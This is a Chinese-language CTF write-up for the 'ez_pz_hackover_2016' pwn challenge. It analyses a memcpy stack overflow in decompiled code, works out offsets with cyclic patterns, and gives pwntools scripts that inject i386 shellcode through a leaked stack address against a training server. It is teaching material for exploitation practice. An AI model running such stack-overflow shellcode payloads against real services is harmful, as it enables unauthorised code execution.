checksec:
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
main函数如下:
void *chall()
{
size_t v0; // eax
void *result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = (void *)strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}
这里对输入的内容进行了检测,如果等于crashme才能执行vuln函数,vuln函数的内容如下:
void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]
return memcpy(&dest, &src, n);
}
memcpy函数会从&src复制n个字节到&dest。这里存在明显的栈溢出。且主函数开头会将s的地址打印出来,可以利用这个地址计算和我们可控字符的偏移量,在其内写入shellcode。
首先在vuln的leave处下断点,看一下距离溢出点的距离:
from pwn import *
elf = ELF('./ez_pz_hackover_2016')
local = 1
if local == 1:
io = process('./ez_pz_hackover_2016')
gdb.attach(io,'b * 0x8048601')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',27637)
#libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')
io.recvuntil("crash: ")
s_addr = int(io.recvuntil("\n",drop=True),16)
print(hex(s_addr))
io.recvuntil("> ")
shellcode = asm(shellcraft.i386.linux.sh())
payload = 'crashme\x00'+cyclic(400)
io.sendline(payload)
io.interactive()

cyclic -l aaea得到距离为14。再继续找s变量里可控位置到开头的距离:
payload = 'crashme\x00'+'a'*14+p32(0xdeadbeef)+p32(s_addr)+'shawr00t'
得到0xffab8800,此时和开头0xffab881c的距离为0x1c。

在这里写shellcode即可,最终payload如下:
from pwn import *
elf = ELF('./ez_pz_hackover_2016')
local = 0
if local == 1:
io = process('./ez_pz_hackover_2016')
#gdb.attach(io,'b * 0x8048601')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',27637)
io.recvuntil("crash: ")
s_addr = int(io.recvuntil("\n",drop=True),16)
print(hex(s_addr))
io.recvuntil("> ")
shellcode = asm(shellcraft.i386.linux.sh())
payload = 'crashme\x00'+'a'*14+p32(0xdeadbeef)+p32(s_addr-0x1c)+shellcode
io.sendline(payload)
io.interactive()